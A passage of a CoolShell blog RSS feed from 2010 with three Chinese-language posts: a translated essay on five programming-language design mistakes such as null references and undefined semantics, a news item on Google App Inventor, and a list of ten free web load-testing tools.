href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2606.html\">五个方法成为更好的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2606.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>五个编程语言设计的失误</title>\n\t\t<link>https://coolshell.cn/articles/2598.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2598.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 14 Jul 2010 00:38:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2598</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在近几年来，编程语言的设计正在经历着类似于“文艺复兴”的过程，这么说主要是基于下面两个事实：1）多核技术推动着PC消费者更多的关注并行程序。2）动态语言的性能越...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2598.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在近几年来，编程语言的设计正在经历着类似于“文艺复兴”的过程，这么说主要是基于下面两个事实：1）多核技术推动着PC消费者更多的关注并行程序。2）动态语言的性能越来越好，其性期已经可以足够用来实现互联网服务，并且它们正在走出“脚本语言”阴影。</p>\n<p>这篇文章试图收集最重要的编程语言的设计错误，以便让那些程序语言设计者们在设计新型的编程语言时避免。我避免了一些纠缠不清的有好有坏的问题，如：动态类型或是静态类型。我也省略了那些看起来并不严重，很容易被修改的错误。例如，加入“参量”（Parametric Type），这在Java中已经有了。Sun在发布Java 1.0版后的第八年才加入了这一功能。还有一个最近的例子是 <a href=\"http://golang.org/doc/go_lang_faq.html#generics\" target=\"_blank\">Google Go Language Design FAQ</a> 中说到的：: &#8220;Generics may well be added at some point. We don&#8217;t feel an urgency for them, although we understand some programmers do.&#8221;</p>\n<h3>0. Null 指针</h3>\n<p>几乎在所有的主流编程语言中，对一个对像的引用可能会是一个空指针，这个错误会引发运行时错误。 C.A.R. Hoare 最近声明向这一“发明”负责，尽管如此，其它许多的设计者们都应该对这样的设计受到批评。下面是 C.A.R Hoare 的“忏悔”：</p>\n<blockquote><p>I call it my billion-dollar mistake. It was the invention of the null reference in 1965. [&#8230;] More recent programming languages like Spec# have introduced declarations for non-null references. This is the solution, which I rejected in 1965. &#8211; <a href=\"http://qconlondon.com/london-2009/presentation/Null+References:+The+Billion+Dollar+Mistake\" target=\"_blank\">C.A.R. Hoare</a></p>\n<p>我把它叫做“亿万美元错误”。这个空指针的发明创造来自1965年。…… 现在的编程语言引入了“非空引用”的声明规格。这个方案被我在1965年给拒绝了。</p></blockquote>\n<p><span id=\"more-2598\"></span></p>\n<p>其它语言，如 C/C++ 更夸张，它们在运到这样的错误时，直接Crash掉，而 Java， Python 和其它语言会抛出一NullPointerException异常，但问题是，这个 RuntimeException 可能会被几乎所有的语句抛出。其实，只需要一个静态类型的语言就可以保证不会出现空指针或空引用。例如： <a href=\"http://cyclone.thelanguage.org/\" target=\"_blank\">Cyclone</a> 是一个安全的C变种，其引入了非空指针和指针运算的限制。</p>\n<p>一些语言甚至让你根本不可能创建空指针，虽然这使得明确的指针不能行进行运算。Haskell 就是这样的一个语言，其提供了Maybe Monad，其强制程序员考虑“Null”的情形。</p>\n<h3>1. 很难解析的语法</h3>\n<p>编程语言的语法应该来自 <a href=\"http://en.wikipedia.org/wiki/LALR_parser\" target=\"_blank\">LALR</a> 或是更好的 <a href=\"http://en.wikipedia.org/wiki/LL_parser\" target=\"_blank\">LL(1)</a>。今天的程序员需要适当的工具来支持其开发语言，也就是我们常说的IDE，编译器或是其它可以帮你解析程序语言的编程工具。这并不会出现在一个单一的前端。也许，多重编译器已经被实现出来了。这可能让我们的开始变得更容易一些。然而，我们现实中的一个反例是 C++，几乎没有哪个C++的编译器可以把C++这个语言完美地正确地解释出来，而且不同C++的编译器的行为如此的诡异。编程语法的开销是微不足道的，程序员应该在编写程序中享有更快速和高效的回报。</p>\n<h3>2. 未定义的语义</h3>\n<p>别在语言规格中说“实现规范”！尽可能的少使用“未定义”这样的术语来描述语言的行为（C/C++中出现了很多undefined的行为）！黄金准则是StandardML，其是一个完整地正式的语义。C 语言是这样一个反例，其规则中有太多太多的未定义的情况。然而，由于其广泛使用，所以某些行为的定义已经成为了世界的共识（江湖的行规，或，潜规则）。 举个例子，在C中，整型 overflow 的行为是未定义的，而编译器也是有能力推断出“ <code>x &lt; x+1</code> ”是否总是为真。不幸的是，这个本来是编译器应该干的事，交给了程序员，于是在C的世界里，出现了大量的整型溢出的代码。而当整型溢出的时候，几乎所有的行为都是像x86处理器一样（如： <code>maxint+1 == minint）。</code></p>\n<p>明确的语义可以让验证和错误检查更容易。虽然，软件校验来得比缓慢，但一定会来。我可以想像，编程语言的下一个机会将会是更容易地校验，这可能需要十到二十年的时间，但今天开始这样做的语言将会在那天成为世界的主流。</p>\n<h3>3. 坏的Unicode 支持</h3>\n<p>程序中几乎都要处理字符串，但别忘了并不是所有人都会使用英语来编程。今天，几乎所有的编程语言都不支持Unicode，所以，我们只能使用ANSI的英语来编程。这个时代， 程序员应该使用Unicode 来编程，所以，源代码也可以声明其用什么来编码。</p>\n<p>在文本和字节序间的转换和区分在的标准库方面会比语言方面更是一个问题，当然，这也影响了语法。读一读 <a href=\"http://docs.python.org/py3k/whatsnew/3.0.html#text-vs-data-instead-of-unicode-vs-8-bit\" target=\"_blank\">Python 3 是怎么解决这个问题</a>可能会更有一些帮助。</p>\n<h3>4. 预处理器</h3>\n<p>像C++和MP4的预处理器已经被广泛地使用着，使用预处理器更像是一种hack而不是一个干净的解决方案。 他们被用来，使用外部文件（如头文件，但确没有正确地模块机制），使用条件编译，宏替换，等。把这些功能与编程语言集成起来一起使用可以增加程序的性能和开发效率，并没有什么不好的地方。</p>\n<p>如果要举一个反例，那么就是预编译器的模块化系统。C使用<code>#include</code> 而 C++ 更痛苦，因为模板需要写一个大的头文件，而且其会被包含在几乎所有的其它文件中。而一个真正的模块化的系统是不需要使用 <code>extern</code> 关键字，也不需要程序的链接，而应该是直接使用。</p>\n<h2></h2>\n<p>文章：<a href=\"http://beza1e1.tuxen.de/articles/proglang_mistakes.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2539.html\" class=\"wp_rp_title\">参透软件开发的本质 &#8211; Uncle Bob Martin 推荐的经典书籍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2598.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google App Inventor</title>\n\t\t<link>https://coolshell.cn/articles/2608.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2608.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Jul 2010 08:37:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[App Inventor]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2608</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google 本周一发布了一个新的工作可以让任何人创建Android手机应用。这个工具叫Google App Inventor。（目前， App Invento...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2608.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Google 本周一发布了一个新的工作可以让任何人创建Android手机应用。这个工具叫<a href=\"http://appinventor.googlelabs.com/\" target=\"_blank\"><strong>Google App Inventor</strong></a>。（目前， App Inventor好像只对教育者开放）Google说：“你不必是一个专业开发人员就能轻松使用App Inventor。使用App Inventor无须掌握编程知识。因为你根本就不需要编写代码，你只需在可视化界面上设计应用的界面，并使用“blocks”指定应用的行为（behavior）。”</p>\n<figure id=\"attachment_2610\" aria-describedby=\"caption-attachment-2610\" style=\"width: 552px\" class=\"wp-caption aligncenter\"><a href=\"http://appinventor.googlelabs.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2610\" title=\"Android App Inventor\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor.jpg\" alt=\"\" width=\"552\" height=\"340\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor.jpg 552w, https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-300x185.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-438x270.jpg 438w\" sizes=\"(max-width: 552px) 100vw, 552px\" /></a><figcaption id=\"caption-attachment-2610\" class=\"wp-caption-text\">Google Android App Inventor</figcaption></figure>\n<p>注意，Google说的是任何人，也就是包括那些不会编程的人。这个工具可以将枯燥的代码变成了一块一块的拼图，你需要做的只是把这些零散的拼图按照你自己的意思组合在一起，点击生成，你的第一个 Android 程序就诞生了。这里有一篇来自 <a href=\"http://www.nytimes.com/2010/07/12/technology/12google.html\" target=\"_blank\">纽约时代的报道</a>，《纽约时代》报道称，App Inventor已经在六年级的孩子们中完成测试，他们能够使用App Inventor制作简单的应用。如果你可以访问Youtube的话，你可以看看这个<a href=\"http://www.youtube.com/watch?v=8ADwPLSFeY8\" target=\"_blank\">视频</a>。</p>\n<p><span id=\"more-2608\"></span></p>\n<p>这个想法，这会让 Android 市场不仅对程序开放，而且我们可能看到还有一大批很有创意但不懂编程的人为这个平台添砖加瓦，当然，这也可能会出现很多垃圾应用，正如不会做网页的人用所见即所得的编辑器做出的那些相当ugly劣质网页一样。瑕不蔽玉，就算是有大量的劣质应用的出现，我也相信，同样会涌现出更多更好的应用，那些都是技术人员无法做到的。</p>\n<p>当然，这种想法以前也有，不过仅仅是当玩具玩玩，这回，做这个事的是Google，我不知道他能把这个事情做成什么样？但觉得可能会比较专业。如果只是整成另一个VB的翻版嘛，那就很囧了。</p>\n<p>让我们看看，最终这个玩意，<span style=\"color: #000000;\"><strong>会成为像Dreamweaver或Flash那样把网页开发变成傻瓜化，还是会像VB那样把程序员变成傻瓜</strong></span>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Android将允许纯C/C++开发应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_title\">Android将允许纯C/C++开发应用</a></li><li ><a href=\"https://coolshell.cn/articles/2853.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_01-150x150.jpg\" alt=\"实用Android开发工具和资源精选\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2853.html\" class=\"wp_rp_title\">实用Android开发工具和资源精选</a></li><li ><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"关于 Chrome OS 的一些推论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1152.html\" class=\"wp_rp_title\">关于 Chrome OS 的一些推论</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2608.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>28</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十个免费的Web压力测试工具</title>\n\t\t<link>https://coolshell.cn/articles/2589.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2589.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 13 Jul 2010 00:50:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Apache JMeter]]></category>\n\t\t<category><![CDATA[fwptt]]></category>\n\t\t<category><![CDATA[Grinder]]></category>\n\t\t<category><![CDATA[http load]]></category>\n\t\t<category><![CDATA[JCrawler]]></category>\n\t\t<category><![CDATA[OpenSTA]]></category>\n\t\t<category><![CDATA[Pylot]]></category>\n\t\t<category><![CDATA[Siege]]></category>\n\t\t<category><![CDATA[WCat]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[Web Polygraph]]></category>\n\t\t<category><![CDATA[测试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2589</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>两天，jnj在本站发布了《如何在低速率网络中测试 Web 应用》，那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具，这样，你就...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2589.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-2590\" src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic.jpg\" alt=\"\" width=\"308\" height=\"180\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic.jpg 308w, https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-300x175.jpg 300w\" sizes=\"(max-width: 308px) 100vw, 308px\" />两天，jnj在本站发布了《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2574.html\" target=\"_blank\">如何在低速率网络中测试 Web 应用</a>》，那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具，这样，你就可以知道你的服务器以及你的WEB应用能够顶得住多少的并发量，以及你的网站的性能。我相信，北京奥组委的订票网站的开发团队并不知道有这样的测试工具。</p>\n<p><strong><a href=\"http://grinder.sourceforge.net/\" target=\"_blank\">Grinder</a></strong> &#8211;  Grinder是一个开源的JVM负载测试框架，它通过很多负载注射器来为分布式测试提供了便利。 支持用于执行测试脚本的Jython脚本引擎HTTP测试可通过HTTP代理进行管理。根据项目网站的说法，Grinder的 主要目标用户是“理解他们所测代码的人——Grinder不仅仅是带有一组相关响应时间的‘黑盒’测试。由于测试过程可以进行编码——而不是简单地脚本 化，所以程序员能测试应用中内部的各个层次，而不仅仅是通过用户界面测试响应时间。</p>\n<p><strong><a href=\"http://www.pylot.org/\" target=\"_blank\">Pylot</a></strong> -Pylot是一款开源的测试web service性能和扩展性的工具，它运行HTTP 负载测试，这对容量计划，确定基准点，分析以及系统调优都很有用处。Pylot产生并发负载（HTTP Requests），检验服务器响应，以及产生带有metrics的报表。通过GUI或者shell/console来执行和监视test suites。</p>\n<p><a href=\"http://www.iis.net/community/default.aspx?tabid=34&amp;i=1466&amp;g=6\" target=\"_blank\"><strong>Web Capacity Analysis Tool (WCAT)</strong></a> &#8211; 这是一种轻量级负载生成实用工具，不仅能够重现对 Web 服务器（或负载平衡服务器场）的脚本 HTTP 请求，同时还可以收集性能统计数据供日后分析之用。WCAT 是多线程应用程序，并且支持从单个源控制多个负载测试客户端，因此您可以模拟数千个并发用户。该实用工具利用您的旧机器作为测试客户端，其中每个测试客户端又可以产生多个虚拟客户端（最大数量取决于客户端机器的网络适配器和其他硬件）。您可以选择使用 HTTP 1.0 还是 HTTP 1.1 请求，以及是否使用 SSL。并且，如果测试方案需要，您还可以使用脚本执行的基本或 NTLM 身份验证来访问站点的受限部分。（如果您的站点使用 cookie、表单或基于会话的身份验证，那您可以创建正确的 GET 或 POST 请求来对测试用户进行身份验证。）WCAT 还可管理您站点可能设置的任何 cookie，所以配置文件和会话信息将永久保存。</p>\n<p><span id=\"more-2589\"></span></p>\n<p><strong><a href=\"http://fwptt.sourceforge.net/index.html\" target=\"_blank\">fwptt</a></strong> &#8211; fwptt 也是一个用来进行WEB应用负载测试的工具。它可以记录一般的请求，也可以记录Ajax请求。它可以用来测试 asp.net， jsp， php 或是其它的Web应用。</p>\n<p><strong><a href=\"http://jcrawler.sourceforge.net/\" target=\"_blank\">JCrawler</a></strong> &#8211; JCrawler是一个开源(<a href=\"http://www.opensource.org/licenses/cpl.php\" target=\"_blank\"> CPL</a>) 的WEB应用压力测试工具。通过其名字，你就可以知道这是一个用Java写的像网页爬虫一样的工具。只要你给其几个URL，它就可以开始爬过去了，它用一种特殊的方式来产生你WEB应用的负载。这个工具可以用来测试搜索引擎对你站点产生的负载。当然，其还有另一功能，你可以建立你的网站地图和再点击一下，将自动提交Sitemap给前5名的搜索引擎！</p>\n<p><strong><a href=\"http://jakarta.apache.org/jmeter/\" target=\"_blank\">Apache JMeter</a></strong> – Apache JMeter是一个专门为运行和服务器装载测试而设计的、100％的纯Java桌面运行程序。原先它是为Web/HTTP测试而设计的，但是它已经扩展以支持各种各样的测试模块。它和用于HTTP和SQL数据库（使用JDBC）的模块一起运送。它可以用来测试静止资料库或者活动资料库中的服务器的运行情况，可以用来模拟对服务器或者网络系统加以重负荷以测试它的抵抗力，或者用来分析不同负荷类型下的所有运行情况。它也提供了一个可替换的界面用来定制数据显示，测试同步及测试的创建和执行。</p>\n<p><strong><a href=\"http://www.joedog.org/index/siege-home\" target=\"_blank\">Siege</a></strong> -Siege（英文意思是围攻）是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。 Siege 支持基本的认证，cookies， HTTP 和 HTTPS 协议。</p>\n<p><strong><a href=\"http://www.acme.com/software/http_load/\" target=\"_blank\">http_load</a></strong> &#8211; http_load 以并行复用的方式运行，用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具，它可以以一个单一的进程运行，一般不会把客户机搞死。可以可以测试HTTPS类的网站请求。</p>\n<p><strong><a href=\"http://www.web-polygraph.org/\" target=\"_blank\">Web Polygraph</a></strong> &#8211; Web Polygraph这个软件也是一个用于测试WEB性能的工具，这个工具是很多公司的标准测试工具，包括微软在分析其软件性能的时候，也是使用这个工具做为基准工具的。很多招聘测试员的广告中都注明需要熟练掌握这个测试工具。</p>\n<p><strong><a href=\"http://opensta.org/\" target=\"_blank\">OpenSTA</a></strong> &#8211; OpenSTA是一个免费的、开放源代码的web性能测试工具，能录制功能非常强大的脚本过程，执行性能测试。例如虚拟多个不同的用户同时登陆被测试网站。其还能对录制的测试脚本进行,按指定的语法进行编辑。在录制完测试脚本后，可以对测试脚本进行编辑，以便进行特定的性能指标分析。其较为丰富的图形化测试结果大大提高了测试报告的可阅读性。OpenSTA 基于CORBA 的结构体系，它通过虚拟一个proxy，使用其专用的脚本控制语言，记录通过proxy 的一切HTTP/S traffic。通过分析OpenSTA的性能指标收集器收集的各项性能指标，以及HTTP 数据，对系统的性能进行分析。</p>\n<p>欢迎您留下你认为不错的WEB应用性能测试的工具。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg\" alt=\"Web工程师的工具箱\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8767.html\" class=\"wp_rp_title\">Web工程师的工具箱</a></li><li ><a href=\"https://coolshell.cn/articles/2574.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle-150x150.png\" alt=\"如何在低速率网络中测试 Web 应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2574.html\" class=\"wp_rp_title\">如何在低速率网络中测试 Web 应用</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 